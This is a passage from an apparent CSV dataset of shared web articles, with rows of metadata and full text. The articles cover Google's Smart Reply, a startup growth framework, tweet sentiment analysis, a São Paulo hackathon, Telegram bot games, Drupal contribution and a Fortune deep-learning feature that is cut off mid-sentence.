smart messaging technology powered by the Expander team's system for understanding and assisting with chat conversations in multiple languages. Also, this technology isn't used only for large-scale models in the cloud - As announced this past week , Android Wear has opened up an Expander-team-enabled, on-device Smart Reply capability for developers that will provide smart replies for any messaging application. We're excited to tackle even more challenging Internet-scale problems with Expander in the years to come. Acknowledgements We wish to acknowledge the hard work of all the researchers, engineers, product managers, and leaders across Google who helped make this technology a success. In particular, we would like to highlight the efforts of Allan Heydon, Andrei Broder, Andrew Tomkins, Ariel Fuxman, Bo Pang, Dana Movshovitz-Attias, Fritz Obermeyer, Krishnamurthy Viswanathan, Patrick McGregor, Peter Young, Robin Dua, and Vivek Ramavajjala.",en
1475777633,CONTENT SHARED,5842191581670322333,-1616903969205976623,-4751380244486178344,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",SP,BR,HTML,http://www.nirandfar.com/2016/10/successful-tech-products.html,3 Pillars of the Most Successful Tech Products,"If you've started a tech company to make a lot of money, chances are you're bad at math-or simply delusional. Statistically speaking, your odds of a big-time payday are somewhere between zero and almost zero. Ninety-two percent of startups fail within three years . Only one percent of apps in the Apple App Store are financially successful. And even for the fortunate few companies that raise venture funding, seventy-five percent will fail to generate a return on investors' capital. Why do some companies scale to millions of users while others wallow in obscurity? What explains the runaway success of a company like Facebook while a startup like Viddy, a mobile app for video, attracted millions of users and millions of dollars in financing, only to lose both? When it comes to startup success, there's never a magic bullet. Yet as the British statistician George Box once wrote, ""All models are wrong, but some are useful."" Perhaps the hardest part about running a new business is knowing what to prioritize. There are hundreds of decisions to make, and keeping sight of what's important and what's not is a constant challenge. But when it comes to helping teams stay focused, I have found one model to be extremely useful: I call it the GEM framework. A company's job is to find a sustainable way to deliver value to customers, employees, and shareholders. To do this, the company must never lose sight of its GEM: its growth, engagement, and monetization.ƒ Growth Growth is all about how a company finds new users or customers. Fundamentally, it's about getting the right message in front of people who need what you have. I call these messages "" external triggers ."" External triggers are delivered through various channels, including television commercials, salespeople, emails, or word of mouth. Some external triggers, like one satisfied customer telling another about your product, cost you nothing. Others, like running ads on Google or buying billboards along the highway, can cost big bucks. There's nothing inherently better or worse about one external trigger versus another. What matters is whether the trigger fits your business. Viral growth is wonderful but difficult to engineer and sustain. Meanwhile, buying media can produce a steady stream of customer interest but can be expensive. The growth question to answer is: ""Are we getting better at drawing the attention of people who need our product?"" And quantifying the answer to that question means tracking the number of new users or customers over time as well as the cost of earning their attention. It's important to recognize that growth is a process and a practice, not an end state. Companies satisfied with their growth strategy are at risk of losing customers to their competitors. The Growth Hackers I know manically look for new channels and relentlessly test how many potential customers can be found and for what cost. Growth question: ""Are we getting better at drawing the attention of people who need our product?"" Growth metric: Number of new users or customers, and the cost of finding them. Engagement With some products and services, customer engagement is naturally infrequent-think of the way people buy real estate or book vacation travel. Other businesses require constant, habitual engagement to survive. Apps like Facebook, Slack, Salesforce, and Snapchat need to become a habit , or else they go out of business. If the service isn't used often, these products become less useful, and eventually customers never return. Retaining customers means keeping them engaged, whether they're checking in on an app or checking out of a purchase. Some businesses depend on repeat customer engagement more than others. But most critical for investors, founders, and employees is to understand what brings people back. To track engagement, companies should calculate the percentage of people using their product or service frequently enough to be classified as ""retained."" For some products it's once a year, for others it's once an hour. The question ""Are we getting better at engaging people who need our product?"" is answered by calculating the growth in the percentage of retained customers. Engagement question: ""Are we getting better at engaging people who need our product?"" Engagement metric: Percentage of retained users or customers. Monetization Finally, companies need to turn some of the value they create into cash or they go out of business. There are many ways to capture value. Companies can charge a subscription fee, sell a one-time purchase, or create marketplaces where they take a share of the transaction between buyers and sellers. When it comes to monetization, the most crucial question is: ""Are we getting better at capturing the value we create?"" The metric here is profits. But it's essential not only to ask how the company is doing today, but also to understand how much untapped demand exists for the product. This is the only way to predict whether a company will be sustainable in the near term and to make bets on how big the company can get in the future. This is where people get ""lucky"" with startups. While skill, diligence, and process drive user growth and product engagement, predicting future markets is notoriously tough-so much so that being smart can actually be a disadvantage. Smart people tend to try to predict future markets by reading industry reports, designing models, and running numbers. However, with access to similar information, people tend to come to similar conclusions. That's why being right isn't enough. Paradoxically, if you are right and everyone agrees with you, competitors will see the opportunity too, enter the market, and eat away at your profits. Therefore, when it comes to monetization over the long term, there's only one way to achieve it: you've go to see a future market others don't. Next, if you can spot the big untapped market on the horizon, you've got to, as Warren Buffett advises , protect it with "" unbreachable 'moats.'"" There are only five ways to defend your market from competitors: economies of scale, network effects, regulatory protection, brand, and habit. Without a big unseen market and a way to hold on to it, future profits are no sure thing. Monetization question: ""Are we getting better at capturing the value we create?"" Monetization metric: Profit . 3 Pillars of the Most Successful Tech Products Click To Tweet A Necessary Trinity Growth, engagement, and monetization are interlinked, and each is insufficient on its own. The most highly engaging, habit-forming product will fail if it's used only by a small number of people who pay too little for the service. The overwhelming majority of apps in the App Store are never found by a critical mass because the companies behind them have failed to find a way to profitably draw users' attention. Similarly, an amazing growth strategy using the latest viral hacks is pointless without a way to retain and profit from the growth. Viddy, the video-sharing service and Snapchat predecessor, shocked Silicon Valley in the spring of 2012 by acquiring nearly three million users in a month. But shortly after investors ploughed $30 million into the company, it became clear the app was a leaky bucket that could not retain its users. Finally, huge market potential is useless without a way to profitably reach and engage customers. For example, music-streaming services like Spotify and Pandora are a daily habit for millions of people, but if song owners manage to extract all the value by imposing stricter copyright terms, they have the power to destroy the streaming services. Of course, businesses have to worry about all sorts of other things (see Alex Osterwalder's Business Model Canvas for a more detailed analysis). But thinking through the GEM framework is extremely effective for keeping teams on track. As Tomasz Tunguz , a partner at Redpoint Ventures, told me, these three criteria ""help make sure the team is allocating resources correctly."" When it comes to monitoring and regularly communicating what matters, the GEM framework is precious. Nir's Note: Thanks to Jules Maltz and Julie Li for reading previous versions of this article.",en
1475783563,CONTENT SHARED,-5658245291907121574,-1032019229384696495,916944361140684324,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.50 Safari/537.36",NY,US,HTML,https://medium.com/@srobtweets/machine-learning-and-the-vp-debate-36dd6e1862b7,Machine Learning and the VP Debate,"Using a similar approach to my Twitter analysis here , I analyzed tweets from last nights VP debate with the Cloud Natural Language API, BigQuery, and Exploratory for visualization. This time, in addition to running syntax analysis on every tweet I also used the NL API's sentiment analysis feature: Twitter sentiment during the debate The NL API returns two values for sentiment: polarity and magnitude . polarity is a number from -1 to 1 indicating how positive or negative the text is. magnitude indicates the overall strength of the statement regardless of whether it is positive or negative, and is a number ranging from 0 to infinity. A good way to gauge sentiment is to multiply the two values so that statements with a stronger sentiment (higher magnitude) are weighted accordingly. I used the Twitter npm package to stream tweets, filtering on the following search terms: With all the tweets I collected (299k total) as rows in a BigQuery table, I wrote the following query to get the average sentiment for all tweets in a given minute: Then I graphed it with Exploratory (thanks Felipe Hoffa for showing me this awesome new data viz tool!): The graph starts at 8pm Eastern (an hour before the debate) and ends at 5am the day after (October 5). We can see that sentiment fluctuated during the debate (from 9 - 10:30pm), but was largely negative in the hours that followed, specifically from 1 to 3am. This is around the same time news outlets started publishing articles analyzing the outcome of the debate. While I haven't yet come across a timed transcript of the debates, bonus points for anyone who wants to feed an audio file of the debate to the Speech API , run it through NL for sentiment analysis and compare it to the graph above. We can also get the average sentiment for all tweets collected during the debates (including a few hours before and after): And here's the result: We can compare this to the sentiment for tweets mentioning tax by adding the following to our query: Syntactic analysis Using the NL API's text annotation method, we can break down a tweet by parts of speech and use BigQuery to find linguistic trends. For each sentence, the NL API will tell us which word is the subject (labeled as NSUBJ). Since I've got the JSON response from the NL API saved in BigQuery, I can write a user-defined function to find the top subjects in tweets about the VP Debate: And graph the results: Interestingly, there were many more tweets about Pence than Kaine (48k vs 34k). Top debate emojis Last but not least, how did people express their feelings about the debate in emojis? Here are the results in an emoji tag cloud: I'm not sure how the taco emoji snuck in there, but I'm guessing it has something to do with October 4th being National Taco Day . What's next Have questions or more ideas for natural language processing? Find me on Twitter @SRobTweets or let me know what you think in the comments. And here's are the tools I used:",en
1475785842,CONTENT SHARED,7182931494487573654,3609194402293569455,5681278989312189918,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",SP,BR,HTML,http://startupi.com.br/2016/10/protohack-hackathon-criado-no-vale-do-silicio-desembarca-em-sao-paulo-para-sua-primeira-edicao-no-espaco-engenho-maker/,"ProtoHack, hackathon criado no Vale do Silício, desembarca em São Paulo para sua primeira edição no espaço Engenho Maker - Startupi","O Startupi, como parceiro do ProtoHack 2016, conseguiu para os leitores 20% de desconto na compra do ingresso. utilize o código PHST20, resgate seu desconto e participe! No dia 29 de Outubro de 2016, no espaço Engenho Maker, acontece a primeira edição do ProtoHack no Brasil. O evento, no formato de hackathon, tem 12 horas de mentoria, palestras, networking e desenvolvimento de ideias. Essa maratona de inovação existe para provar que empreendedores sem habilidades de programação podem criar algo surpreendente do zero. Os participantes iniciam o dia com uma ideia e ao término, terão 90 segundos para fazer um pitch de sua ideia na frente de investidores, desenvolvedores, empresários e outros profissionais envolvidos no mercado de startups. Os três melhores projetos ganharão prêmios que podem chegar a 10 mil dólares. Para primeira edição, o evento conta com um time de mentores super engajados e comprometidos com a troca de experiência com os participantes. Entre os palestrantes confirmados, está Alexandre Pellaes, fundador da consultoria Exboss.com.br e sócio da 99jobs.com. O time completo de palestrantes, mentores e júris será divulgado nos próximos dias, na página deles brasileira no Facebook. As inscrições para o evento já estão abertas. O evento tem um limite de 100 participantes e geralmente as vagas acabam muito rápido devido ao grande número de pessoas interessadas. Então aproveite e faça a sua inscrição através desse link . Também é possível juntar‐se ao grupo de meetups do ProtoHack para participar dos encontros que acontecem gratuitamente antes do evento principal. Entre no grupo através desse link . ""Chegamos ao Brasil para somar com a cena empreendedora e movimentar o ecossistema de startup nacional. Promover o empreendedorismo, networking, troca de ideias, estudo de casos de são elementos fundamentais para tornar um negócio possível"", comenta Danilo Correia, diretor nacional do ProtoHack. ""Mesmo em um período de instabilidade política e econômica no Brasil, incentivar e fomentar novos empreendedores é fundamental para tornar nosso país mais competitivo"", comenta Ricardo Queiroz, diretor regional do ProtoHack no Brasil. Sobre o ProtoHack O Protohack surgiu 2014 no Vale do Silício, em São Francisco. Em dois anos o evento ganhou proporções internacionais, acontecendo em diversas cidades do mundo como, Seatle, New York, Los Angeles, Portland, Chicago, Boston, Houston, Vancouver, Montreal, Toronto, Milano, Dubai, Nova Delhi e Istanbul. São Paulo receberá o evento pela primeira vez.",pt
1475785994,CONTENT SHARED,5761988486867612282,3609194402293569455,5681278989312189918,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",SP,BR,HTML,http://www.programmableweb.com/news/telegram-bolsters-bot-api-new-gaming-functionality/brief/2016/10/06,Telegram Bolsters Bot API with New Gaming Functionality,"A little over a year ago, Telegram published its Telegram Bot API . The free, open API allows developers to integrate bots on the Telegram platform with an AI mindset. This week, Telegram took a step beyond simple Bot activity by launching a bot-powered gaming platform. The platform, which runs on top of the Bot API , allows users to play games within chats. Telegram expects hundreds of games to be available soon, with thirty currently ready for play. Building games with the API is simple. To demonstrate, Telegram built MathBattle in three hours and Corsairs in five hours. Games range from simple arcade-type and puzzle games, to multiplayer, real-time strategy games. Those interested in building games should check out Telegram's Introduction to Games , and follow @BotNews for updates. Games are offered in HTML5; accordingly, games are loaded on-demand as needed (like typical webpages). The gaming platform uses 0 disk space and won't add a bit of size to apps, which developers and users should find inviting. Games constitute a new content type represented by Game and InlineQueryResultGame objects. Developers create games with BotFather. Games can be sent as regular messages with sendGame or inline mode. Check out the docs for more details. TechCrunch's Natasha Lomas wisely commented , ""The messaging wars are really a battle for attention. It's all about which comms app giant can embed the stickeist and most addictive features into their platform to keep users inside their own well-tended garden..."". We've seen a number of messaging platforms launch bot capabilities, with Line being the latest to announce. With most of the messaging ""giants"" now onboard with bots, Telegram has upped the ante with gaming capabilities built into its bot platform.",en
1475793493,CONTENT SHARED,-8047634385511625486,3891637997717104548,2384528188857160581,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",SP,BR,HTML,http://agaric.com/blogs/door-new-contributors-drupal-still-locked,The door for new contributors to Drupal is still locked,"People contributing modules or themes for listing on Drupal.org receive a welcome, or lack thereof, that would have driven away many of us now active in the community. With hundreds of requests moldering awaiting review, the project application process continues to be a community crisis, and it has been acknowledged as such for five years. We are casting aside the literal future of Drupal, with a likely disproportionate impact on disadvantaged contributors. Any separate process for new contributors will inherently be unequal, and will tend toward awful. Let's jump in to mitigate the damage being done and finally get a new system in place- we're closer than ever. After a couple frustrated module makers asked me to give their projects full status, I went over to the project application review queue out of the sense that it isn't fair to everyone else to save only the two who reach out. Of course, I should have been in there all along: there were project applications which had been vetted by other volunteers and marked Reviewed & Tested by the Community four months ago . One person who contacted me was unhappy their project had passed all the hurdles and was then left lying untouched for a mere two weeks. Of course, they had started the application process nine months ago. The door through which community members can make their first contribution of a module or theme remains locked, and not enough people have the key (nor is it clear how to get that key to more people ). Keep in mind this is only projects that have actually been reviewed. In nearly every case the person applying has fixed the issues noted and now the project has been considered by someone to be all set for approval. People trying to get to that point are even worse off. The current backlog for people waiting to get a review has projects waiting with the needs review status for nearly a year - 11 months and five days . And of course the current project application review process, despite having gone through several iterations of improvement, still garners its share of complaints when running perfectly- and it still holds new contributors to a higher standard than we hold ourselves. Finally, some unknown but large percentage of the two thousand projects marked ""Closed (won't fix)"" have been put in that state automatically by a robot due to lack of activity. If a contributor leaves an application in a ""Needs work"" state for a month, it is unceremoniously closed without warning. (In contrast, if we don't get around to reviewing or approving a project for months, nothing automatically happens in favor of the contributor, despite written guidelines for escalating ignored issues .) It will be fun to go through all these old issues and contact the contributors letting them know they can promote their sandboxes to full project (and then changing the issue to some other status, like works as designed, to mark it), but we can't do that until the overall process is fixed. The good news is we're closer than ever. The current proposal looks solid, but it's suffering from inaction. The goals it outlines are excellent: We need to remove the gate to new contribution entirely - not just kick the can to a particular elevated role, or a specific limit on the # or kind of releases a new contributor is allowed. We need to continue to send strong signals about security coverage to users evaluating whether to use modules from Drupal.org. Follow-up: We need to find ways to preserve the value collaborative code review, through changes to Project Discovery to provide signals about code quality, and by providing incentives and credit for review. I encourage anyone who cares about new people joining Drupal to work on the issues associated with this proposal, in particular the ones to allow non-git vetted users to promote sandbox projects to full project status and add a permission for creating stable releases, and grant to ""git vetted"" users . While my oft-stated preference is that any gates we put up must apply to all users, so we make sure they are bearable and don't forget about problems for months and years at a a time, moving the gate to a security review at a stable release has huge advantages of its own. It allows a new contributor to put their work out there without being blocked by anything. It allows a module to find its audience and have people invested in its particular functionality at the point of review, rather than have only volunteers who have no inherent stake in the functionality involved. It even lets a contributor decide whether a module has proven sufficiently useful to others to be worth going through security review. We don't have that system yet though and we still have that huge backlog to get through. Helping other people follow the project application checklist is a great way to get better at making projects yourself- whether you have a dozen already, or don't have any yet. Just remember this is about helping applicants . To give further incentive to the review work, i've proposed including issue credits given to users in the Project Application review queue on profile pages and Marketplace rankings . It's Rosh Hashanah, the Jewish new year, and the tradition is that we have ten days to make things right with any people we have wronged. Let's accept (again) that we as a community have wronged our potential new contributors, and make things right. Thanks.",en
1475802598,CONTENT SHARED,826748584447376099,3891637997717104548,-8203001131297404567,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",SP,BR,HTML,http://buytaert.net/the-investment-case-for-employing-a-drupal-core-contributor,The investment case for employing a Drupal core contributor - Dries Buytaert,"I've long been convinced that every well-run Drupal agency of 30 people or more can afford to hire a Drupal core contributor and let him/her work on Drupal core pretty much full-time. A healthy Drupal agency with 30 people should be able to do $5MM in revenue at a 15% net profit margin . This means they have $750k in profits that can be invested in growth, saved as reserves, or distributed among the owners. There are many ways you can invest in growth. I'm here to argue that hiring a Drupal core contributor can be a great investment, that many Drupal agencies can afford it, and that employing a Drupal core contributor shouldn't just be looked at as a cost. In fact, Chapter Three just announced that they hired Alex Pott , a Drupal 8 core maintainer, to work full-time on Drupal core. I couldn't be more thrilled. Great for Alex, great for Drupal, and great for Chapter Three! And a good reason to actually write down some of my thoughts. The value of having a Drupal core contributor on staff When Drupal 8 launches it will bring with it many big changes . Having someone within your company with first-hand knowledge of these changes is invaluable on a number of fronts. He or she can help train or support your technical staff on the changes coming down the pipe, can help your sales team answer customer questions, and can help your marketing team with blog posts and presentations to establish you as a thought-leader on Drupal. I believe these things take less than 20% of a Drupal core contributor's time, which leaves more than 80% of time to contribute to Drupal. But perhaps most importantly, it is a crucial contribution that helps ensure the future of the Drupal project itself and help us all avoid falling into the tragedy of the commons . While some core contributors have some amount of funding - ranging from 10% time from their employers to full-time employment (for example, most of Acquia's Office of the CTO are full-time core contributors) - most core contribution happens thanks to great personal sacrifice of the individuals involved. As the complexity and adoption of Drupal grows, there is a growing need for full-time Drupal contributors . Additionally, distributing employment of core contributors across multiple Drupal organizations can be healthy for Drupal; it ensures institutional independence, diversified innovation and resilience. Measuring the impact of a Drupal core contributor on your business While that sounds nice, the proof is in the numbers. So when I heard about Chapter Three hiring Alex Pott , I immediately called Chapter Three to congratulate them, but I also asked them to track Alex's impact on Chapter Three in terms of sales. If we can actually prove that hiring a Drupal core contributor is a great business investment, it could provide a really important breakthrough in making Drupal core development scalable. I asked my team at Acquia to start tracking the impact of the Drupal core contributors on sales. Below, I'll share some data of how Acquia tracked this and why I'm bullish on there being a business case. For Acquia , high quality content is the number one way to generate new sales leads. Marketers know that the key to doing online business is to become publishers. It is something that Acquia's Drupal developers all help with; developers putting out great content can turn your website into a magnet. And with the help of a well-oiled sales and marketing organization, you can turn visitors into customers. Back in December, Angie ""webchick"" Byron did a Drupal 8 preview webinar for Acquia. The webinar attracted over 1,000+ attendees. We were able to track that this single piece of content generated $4.5MM in influenced pipeline , of which we've managed to close $1.5MM in business so far. Even more impressive, Kevin O'Leary has done four webinars on Drupal's newest authoring experience improvements . In total, Kevin's webinars helped generate $9MM in influenced pipeline of which almost $4MM closed. And importantly, Kevin had not worked on Drupal prior to joining Acquia! It goes to show that you don't necessarily have to hire from the community; existing employees can be made core contributors and add value to the company. Gábor Hojtsy regularly spends some of his time on sales calls and helped close several $500k+ deals. Moshe Weitzman occasionally travels to customers and helped renew several large deals. Moshe also wrote a blog post around Drupal 8's improved upgrade process using Migrate module . We aren't able to track all the details yet (working on it), but I'm sure some of the more than 3,200 unique viewers translated in to sales for us. Conclusion: investment returned, and then some Obviously, your results may vary. Acquia has an amazing sales and marketing engine behind these core contributor, driving the results. I hope Chapter Three tracks the impact of hiring Alex Pott and that they share the results publicly so we can continue to build the business case for employing full-time Drupal contributors. If we can show that is not just good for Drupal, but also good for business, we can scale Drupal development to new highs. I hope more Drupal companies will start to think this way. Footnotes #1 I assumed that of the 30 people, 25 are billable and 5 are non-billable. I also assumed an average fully-loaded cost per employee of $125k per head and gross revenue per head of around $180k. The basic math works out as follows: (25 employees x $180k) - (30 employees x $125k) = $750k in profit. There are 365 days per year and about 104 weekend days. This means there are 260 business days. If you subtract 10 legal bank holidays you have 250 days remaining. If you subtract another 15 business days for vacations, conferences, medical leave and others, you have 230 business days left. With a blended hourly rate of $130 per hour and 75% utilization, you arrive at ~$180k gross revenue per billable head. I confirmed these numbers with several Drupal companies in the US. Best in class digital agencies actually do better; they assume there are 2,000 billable hours in a year per head and maintain at least a 85% chargeability rate (i.e. 1,700 billable hours per head). Many companies do less because the maturity of their business, the market they are in, their geographic location, their ambitions, etc. It's not about what is ""good"" or ""bad"", but about what is possible. #2 ""Influenced pipeline"" means that the content in question was one factor or touch point in what ultimately lead potential customers to become qualified sales leads and contacted by Acquia. On average, Acquia has 6 touch points for every qualified sales lead.",en
1475849472,CONTENT SHARED,6678691743269420670,-4627026983118548639,2042601696561758881,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",NJ,US,HTML,http://fortune.com/ai-artificial-intelligence-deep-machine-learning/,Why Deep Learning Is Suddenly Changing Your Life,"Illustration by Justin Metz Decades-old discoveries are now electrifying the computing industry and will soon transform corporate America. Over the past four years, readers have doubtlessly noticed quantum leaps in the quality of a wide range of everyday technologies. Most obviously, the speech-recognition functions on our smartphones work much better than they used to. When we use a voice command to call our spouses, we reach them now. We aren't connected to Amtrak or an angry ex. In fact, we are increasingly interacting with our computers by just talking to them, whether it's Amazon's Alexa, Apple's Siri, Microsoft's Cortana, or the many voice-responsive features of Google. Chinese search giant Baidu says customers have tripled their use of its speech interfaces in the past 18 months. Machine translation and other forms of language processing have also become far more convincing, with Google , Microsoft , Facebook , and Baidu unveiling new tricks every month. Google Translate now renders spoken sentences in one language into spoken sentences in another for 32 pairs of languages, while offering text translations for 103 tongues, including Cebuano, Igbo, and Zulu. Google's Inbox app offers three ready-made replies for many incoming emails. Then there are the advances in image recognition. The same four companies all have features that let you search or automatically organize collections of photos with no identifying tags. You can ask to be shown, say, all the ones that have dogs in them, or snow, or even something fairly abstract like hugs. The companies all have prototypes in the works that generate sentence-long descriptions for the photos in seconds. Think about that. To gather up dog pictures, the app must identify anything from a Chihuahua to a German shepherd and not be tripped up if the pup is upside down or partially obscured, at the right of the frame or the left, in fog or snow, sun or shade. At the same time it needs to exclude wolves and cats. Using pixels alone. How is that possible? The advances in image recognition extend far beyond cool social apps. Medical startups claim they'll soon be able to use computers to read X-rays, MRIs, and CT scans more rapidly and accurately than radiologists, to diagnose cancer earlier and less invasively, and to accelerate the search for life-saving pharmaceuticals. Better image recognition is crucial to unleashing improvements in robotics, autonomous drones, and, of course, self-driving cars-a development so momentous that we made it a cover story in June. Ford , Tesla , Uber, Baidu, and Google parent Alphabet are all testing prototypes of self-piloting vehicles on public roads today. But what most people don't realize is that all these breakthroughs are, in essence, the same breakthrough. They've all been made possible by a family of artificial intelligence (AI) techniques popularly known as deep learning, though most scientists still prefer to call them by their original academic designation: deep neural networks. The most remarkable thing about neural nets is that no human being has programmed a computer to perform any of the stunts described above. In fact, no human could. Programmers have, rather, fed the computer a learning algorithm, exposed it to terabytes of data-hundreds of thousands of images or years' worth of speech samples-to train it, and have then allowed the computer to figure out for itself how to recognize the desired objects, words, or sentences. In short, such computers can now teach themselves. ""You essentially have software writing software,"" says Jen-Hsun Huang, CEO of graphics processing leader Nvidia , which began placing a massive bet on deep learning about five years ago. (For more, read Fortune's interview with Nvidia CEO Jen-Hsun Huang .) Neural nets aren't new. The concept dates back to the 1950s, and many of the key algorithmic breakthroughs occurred in the 1980s and 1990s. What's changed is that today computer scientists have finally harnessed both the vast computational power and the enormous storehouses of data-images, video, audio, and text files strewn across the Internet-that, it turns out, are essential to making neural nets work well. ""This is deep learning's Cambrian explosion,"" says Frank Chen, a partner at the Andreessen Horowitz venture capital firm, alluding to the geological era when most higher animal species suddenly burst onto the scene. That dramatic progress has sparked a burst of activity. Equity funding of AI-focused startups reached an all-time high last quarter of more than $1 billion, according to the CB Insights research firm. There were 121 funding rounds for such startups in the second quarter of 2016, compared with 21 in the equivalent quarter of 2011, that group says. More than $7.5 billion in total investments have been made during that stretch-with more than $6 billion of that coming since 2014. (In late September, five corporate AI leaders-Amazon, Facebook, Google, IBM, and Microsoft-formed the nonprofit Partnership on AI to advance public understanding of the subject and conduct research on ethics and best practices.) Google had two deep-learning projects underway in 2012. Today it is pursuing more than 1,000, according to a spokesperson, in all its major product sectors, including search, Android, Gmail, translation, maps, YouTube, and self-driving cars. IBM's Watson system used AI, but not deep learning, when it beat two Jeopardy champions in 2011. Now, though, almost all of Watson's 30 component services have been augmented by deep learning, according to Watson CTO Rob High. Venture capitalists, who didn't even know what deep learning was five years ago, today are wary of startups that don't have it. ""We're now living in an age,"" Chen observes, ""where it's going to be mandatory for people building sophisticated software applications."" People will soon demand, he says, "" 'Where's your natural-language processing version?' 'How do I talk to your app? Because I don't want to have to click through menus.' "" For more on AI, watch this Fortune video: Some companies are already integrating deep learning into their own day-to-day processes. Says Peter Lee, cohead of Microsoft Research: ""Our sales teams are using neural nets to recommend which prospects to contact next or what kinds of product offerings to recommend."" The hardware world is feeling the tremors. The increased computational power that is making all this possible derives not only from Moore's law but also from the realization in the late 2000s that graphics processing units (GPUs) made by Nvidia-the powerful chips that were first designed to give gamers rich, 3D visual experiences-were 20 to 50 times more efficient than traditional central processing units (CPUs) for deep-learning computations. This past August, Nvidia announced that quarterly revenue for its data center segment had more than doubled year over year, to $151 million. Its chief financial officer told investors that ""the vast majority of the growth comes from deep learning by far."" The term ""deep learning"" came up 81 times during the 83-minute earnings call. Chip giant Intel isn't standing still. In the past two months it has purchased Nervana Systems (for more than $400 million) and Movidius (price undisclosed) , two startups that make technology tailored for different phases of deep-learning computations. For its part, Google revealed in May that for over a year it had been secretly using its own tailor-made chips, called tensor processing units, or TPUs, to implement applications trained by deep learning. (Tensors are arrays of numbers, like matrices, which are often multiplied against one another in deep-learning computations.) Indeed, corporations just may have reached another inflection point. ""In the past,"" says Andrew Ng, chief scientist at Baidu Research, ""a lot of S&P 500 CEOs wished they had started thinking sooner than they did about their Internet strategy. I think five years from now there will be a number of S&P 500 CEOs that will wish they'd started thinking earlier about their AI strategy."" Even the Internet metaphor doesn't do justice to what AI with deep learning will mean, in Ng's view. ""AI is the new electricity,"" he says. ""Just as 100 years ago electricity transformed industry after industry, AI will now do the same."" Think of deep learning as a subset of a subset. ""Artificial intelligence"" encompasses a vast range of technologies-like traditional logic and rules-based systems-that enable computers and robots to solve problems in ways that at least superficially resemble thinking. Within that realm is a smaller category called machine learning, which is the name for a whole toolbox of arcane but important mathematical techniques that enable computers to improve at performing tasks with experience. Finally, within machine learning is the smaller subcategory called deep learning. One way to think of what deep learning does is as ""A to B mappings,"" says Baidu's Ng. ""You can input an audio clip and output the transcript. That's speech recognition."" As long as you have data to train the software, the possibilities are endless, he maintains. ""You can input email, and the output could be: Is this spam or not?"" Input loan applications, he says, and the output might be the likelihood a customer will repay it. Input usage patterns on a fleet of cars, and the output could advise where to send a car next. A Glossary of Artificial-Intelligence Terms Deep learning, in that vision, could transform almost any industry. ""There are fundamental changes that will happen now that computer vision really works,"" says Jeff Dean, who leads the Google Brain project. Or, as he unsettlingly rephrases his own sentence, ""now that computers have opened their eyes."" Does that mean it's time to brace for ""the singularity""-the hypothesized moment when superintelligent machines start improving themselves without human involvement, triggering a runaway cycle that leaves lowly humans ever further in the dust, with terrifying consequences? Not just yet. Neural nets are good at recognizing patterns-sometimes as good as or better than we are at it. But they can't reason. The first sparks of the impending revolution began flickering in 2009. That summer Microsoft's principal researcher Li Deng invited neural nets pioneer Geoffrey Hinton, of the University of Toronto, to visit. Impressed with his research, Deng's group experimented with neural nets for speech recognition. ""We were shocked by the results,"" Lee says. ""We were achieving more than 30% improvements in accuracy with the very first prototypes. In 2011, Microsoft introduced deep-learning technology into its commercial speech-recognition products, according to Lee. Google followed suit in August 2012. But the real turning point came in October 2012. At a workshop in Florence, Italy, Fei-Fei Li, the head of the Stanford AI Lab and the founder of the prominent annual ImageNet computer-vision contest, announced that two of Hinton's students had invented software that identified objects with almost twice the accuracy of the nearest competitor. ""It was a spectacular result,"" recounts Hinton, ""and convinced lots and lots of people who had been very skeptical before."" (In last year's contest a deep-learning entrant surpassed human performance.) Cracking image recognition was the starting gun, and it kicked off a hiring race. Google landed Hinton and the two students who had won that contest. Facebook signed up French deep learning innovator Yann LeCun, who, in the 1980s and 1990s, had pioneered the type of algorithm that won the ImageNet contest. And Baidu snatched up Ng, a former head of the Stanford AI Lab, who had helped launch and lead the deep-learning-focused Google Brain project in 2010. The hiring binge has only intensified since then. Today, says Microsoft's Lee, there's a ""bloody war for talent in this space."" He says top-flight minds command offers ""along the lines of NFL football players."" Geoffrey Hinton, 68, first heard of neural networks in 1972 when he started his graduate work in artificial intelligence at the University of Edinburgh. Having studied experimental psychology as an undergraduate at Cambridge, Hinton was enthusiastic about neural nets, which were software constructs that took their inspiration from the way networks of neurons in the brain were thought to work. At the time, neural nets were out of favor. ""Everybody thought they were crazy,"" he recounts. But Hinton soldiered on. Neural nets offered the prospect of computers' learning the way children do-from experience-rather than through laborious instruction by programs tailor-made by humans. ""Most of AI was inspired by logic back then,"" he recalls. ""But logic is something people do very late in life. Kids of 2 and 3 aren't doing logic. So it seemed to me that neural nets were a much better paradigm for how intelligence would work than logic was."" (Logic, as it happens, is one of the Hinton family trades. He comes from a long line of eminent scientists and is the great-great-grandson of 19th-century mathematician George Boole, after whom Boolean searches, logic, and algebra are named.) During the 1950s and '60s, neural networks were in vogue among computer scientists. In 1958, Cornell research psychologist Frank Rosenblatt, in a Navy-backed project, built a prototype neural net, which he called the Perceptron, at a lab in Buffalo. It used a punch-card computer that filled an entire room. After 50 trials it learned to distinguish between cards marked on the left and cards marked on the right. Reporting on the event, the New York Times wrote, ""The Navy revealed the embryo of an electronic computer today that it expects will be able to walk, talk, see, write, reproduce itself and be conscious of its existence."" The Perceptron, whose software had only one layer of neuron-like nodes, proved limited. But researchers believed that more could be accomplished with multilayer-or deep-neural networks. Hinton explains the basic idea this way. Suppose a neural net is interpreting photographic images, some of which show birds. ""So the input would come in, say, pixels, and then the first layer of units would detect little edges. Dark one side, bright the other side."" The next level of neurons, analyzing data sent from the first layer, would learn to detect ""things like corners, where two edges join at an angle,"" he says. One of these neurons might respond strongly to the angle of a bird's beak, for instance. The next level ""might find more complicated configurations, like a bunch of edges arranged in a circle."" A neuron at this level might respond to the head of the 